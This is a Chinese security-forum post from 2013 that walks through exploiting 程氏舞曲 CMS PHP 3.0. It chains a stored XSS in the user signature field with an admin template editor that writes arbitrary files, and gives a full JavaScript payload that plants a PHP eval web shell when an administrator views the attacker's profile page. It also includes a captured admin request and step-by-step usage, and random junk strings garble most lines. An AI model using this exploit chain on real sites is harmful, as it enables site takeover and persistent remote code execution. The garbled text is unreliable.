找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2692|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
+ u0 s8 u/ ^& h- F5 C7 i' f官网已经修补了,所以重新下了源码2 H: h7 j) l. z" j) r# ^8 }' q2 J1 I
因为 后台登入 还需要认证码 所以 注入就没看了。
; E  w5 O0 c% n, C: Q% @9 f" [存在 xss+ k$ k8 Y0 Q2 V2 U
漏洞文件 user/member/skin_edit.php
7 l+ g( j! X* f8 c) a6 e4 T) u本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
2 G" F# C9 E+ E' i6 P  & K+ V- `" u* A1 Z* ]; E  E
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
( i+ V  e; L$ Z& K! C! U7 d  9 G& D9 @+ p* d. ?$ `5 P
</textarea></td></tr>
# s1 C! u) y3 x8 \' r  
2 `8 m6 o: p2 G6 a             user/do.php
6 H5 P2 y9 }9 {, W+ q! Q( J5 x9 o7 p9 Q" B8 p( [6 s
4 ]* k$ m/ {/ ]: T: H
if($op=='zl'){ //资料
) l/ i$ i* G+ a! L  
) r/ c) h0 X4 q, k9 w             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) ; [: t5 Q, A, h9 p; g
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
" a  L7 l$ F4 s3 {0 F  , i& d$ f4 O: E5 f% @
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',# J, ?# @: }; H3 ~" e; `% W; B
  7 D9 P0 k/ e5 e) b: W7 t
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."': x, v" O$ I, E3 U" X$ [4 t
             where CS_Name='".$cscms_name."'";
- W; h% ^0 y5 g! `8 w  q  u" f# e  ( {- o, B1 k$ e/ Z  a0 ^! ~
             if($db->query($sql)){
6 p1 {. q, [( M/ y- i8 o% I  
. D1 Z; B6 g4 k2 s5 k              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));0 J7 x( o% ]4 Q. o; ^( }& u
  ) K) h) v* a. _
             }else{$ c. K) I$ N: Y, \4 f
  * `0 g9 c  a! X2 l/ [  T# M
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
/ ~; ^! h) D- D  8 P" J0 R' P, _
             }
$ \6 F4 F% H0 R& z4 P' q- K, X" V% x' d8 Y/ r
% I/ |% ]: Y' v, j: x/ D1 |
没有 过滤导致xss产生。
! n+ v0 X' l& ?0 k( Y! {/ n后台 看了下 很奇葩的是可以写任意格式文件。。) y) L  Y  q& i3 s6 p: V1 z
抓包。。7 b1 \) N) e( H; p8 T: H

' ^2 e8 J+ F' _' o2 }% X; f6 F5 _# Q) _5 B5 \2 o
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
' J9 k' N2 \. L- U# j( f) a  1 r) j& ~6 ~8 N; g
Accept: text/html, application/xhtml+xml, */*
: d: w. J: p  e7 g  L2 _5 |  0 M- i  [. a0 `5 r# J2 h% A
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
1 L* a# q! c* U6 s  
4 c. t9 O" w4 p3 f8 s; `4 N" K0 uAccept-Language: zh-CN  @% r* u; C* U5 P% H' q
  
: z- v" o$ z, T  `% @1 JUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0), K1 D0 Z; j4 E2 e7 B
  , g1 F7 Z* n( q$ J9 u  Q7 t" h4 g, M9 q
Content-Type: application/x-www-form-urlencoded
9 m2 o* z' F; W8 A* S* Y+ R) O  - h+ T$ A! K9 c
Accept-Encoding: gzip, deflate, E7 _; r2 {- M& o6 k
  6 U7 d5 Q* I' P6 T
Host: 127.0.0.1
" s8 V7 ?/ \" T' W& T5 [  
$ J$ `% t% l9 [Content-Length: 38; X# p3 a3 b3 T: ?4 t1 L! H6 K
  
2 A' @" i) S% |# l# X! k0 ZDNT: 1
5 S3 @' O* D$ |6 x  " P  y/ V" k& \( l; I
Connection: Keep-Alive) O, i/ T0 N; ]/ }; b
  ' L: I) J! w. u1 E: k, \
Cache-Control: no-cache
0 S- ^1 B) F* \# s  
8 K' |3 B9 R6 o% l0 rCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
  z0 V8 q& t: t6 [, V6 _+ r  5 X' B: q9 q. a) s( ~
! M) E7 r' c# k, y7 Q
name=aaa.php&content=%3Cs%3E%3Ca%25%3E
$ k% s2 C, K  a5 `' y7 ?7 W! g  ~0 ~0 F( a% w/ Y2 X; \3 V, t' c' S
. P/ E+ [4 D1 n! m
7 y" F9 m% e! U* b3 M: p. Y' Z
于是 构造js如下。7 z: \7 _; y3 {4 S/ `
7 ]* H* F1 q+ N5 f* K. ^; ~
本帖隐藏的内容<script>
' o4 }8 |9 h" Z( _- vthisTHost = top.location.hostname;
$ w5 p' C9 [6 B( J- O  - @# u, p: d% {' U
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
( R9 D( _& P$ {  
- K) O, u. o/ X) S9 ufunction PostSubmit(url, data, msg) { & b6 e( x' e' m$ F
    var postUrl = url;" c( k' x+ G: x4 M7 j6 z2 B1 {( _& C# a
  
, ~7 z7 ~# r5 d. d4 N, F) ?+ m" b    var postData = data; % D0 q  F: {/ M! r
    var msgData = msg;
- j1 C+ j5 g5 V2 L5 X* P5 F    var ExportForm = document.createElement("FORM");
& p; v: K' R  \9 y    document.body.appendChild(ExportForm);
8 d4 ?8 J1 L& x& U) |) p% m    ExportForm.method = "POST";
4 r7 I3 |1 I, d    var newElement = document.createElement("input"); 6 a; l5 L5 M! O6 L5 K  M
    newElement.setAttribute("name", "name");
. y, x3 f( n' P& {% B3 R) b5 O    newElement.setAttribute("type", "hidden");
' P. b' b* F; @0 G    var newElement2 = document.createElement("input"); 7 \( S: `4 g+ s. n2 k
    newElement2.setAttribute("name", "content");
+ w9 @( D6 Q1 a' A    newElement2.setAttribute("type", "hidden"); 2 m0 l& R0 T3 \2 z
    ExportForm.appendChild(newElement); 4 A0 h: n  M6 B. z+ a; B
    ExportForm.appendChild(newElement2);
+ k( c1 L8 B4 B" M4 u/ o1 w! i    newElement.value = postData;
0 }5 y7 K! k1 W4 j" t* |    newElement2.value = msgData;
  t/ U3 Q8 b9 V3 l* C    ExportForm.action = postUrl;
( A0 Y3 f( Q7 t5 U5 \$ J8 l% T& m: O    ExportForm.submit(); 0 I; H2 Y# x$ G4 V' W
};" @) u4 N; n. e
  2 Y! G$ ^! w/ @( L6 W5 n
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
0 `+ N* W/ z, `8 v  
" a0 a1 W9 x% g) t. S; c9 }</script>
# `7 C# C  S5 n6 L' ?& [- e) ~  `6 {1 Z" Q# K! B+ y

& e9 i3 O; J4 w' Q2 H; R( E
- v7 ?+ `. c- Q2 l* }http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
/ _. i; h  @9 h1 C* b( i用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)
7 E# |2 c; H9 p6 k5 p$ L- X就会 在 skins\index\html\目录下生成 roker.php 一句话。
! b/ i, V0 p) r( N. @  q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表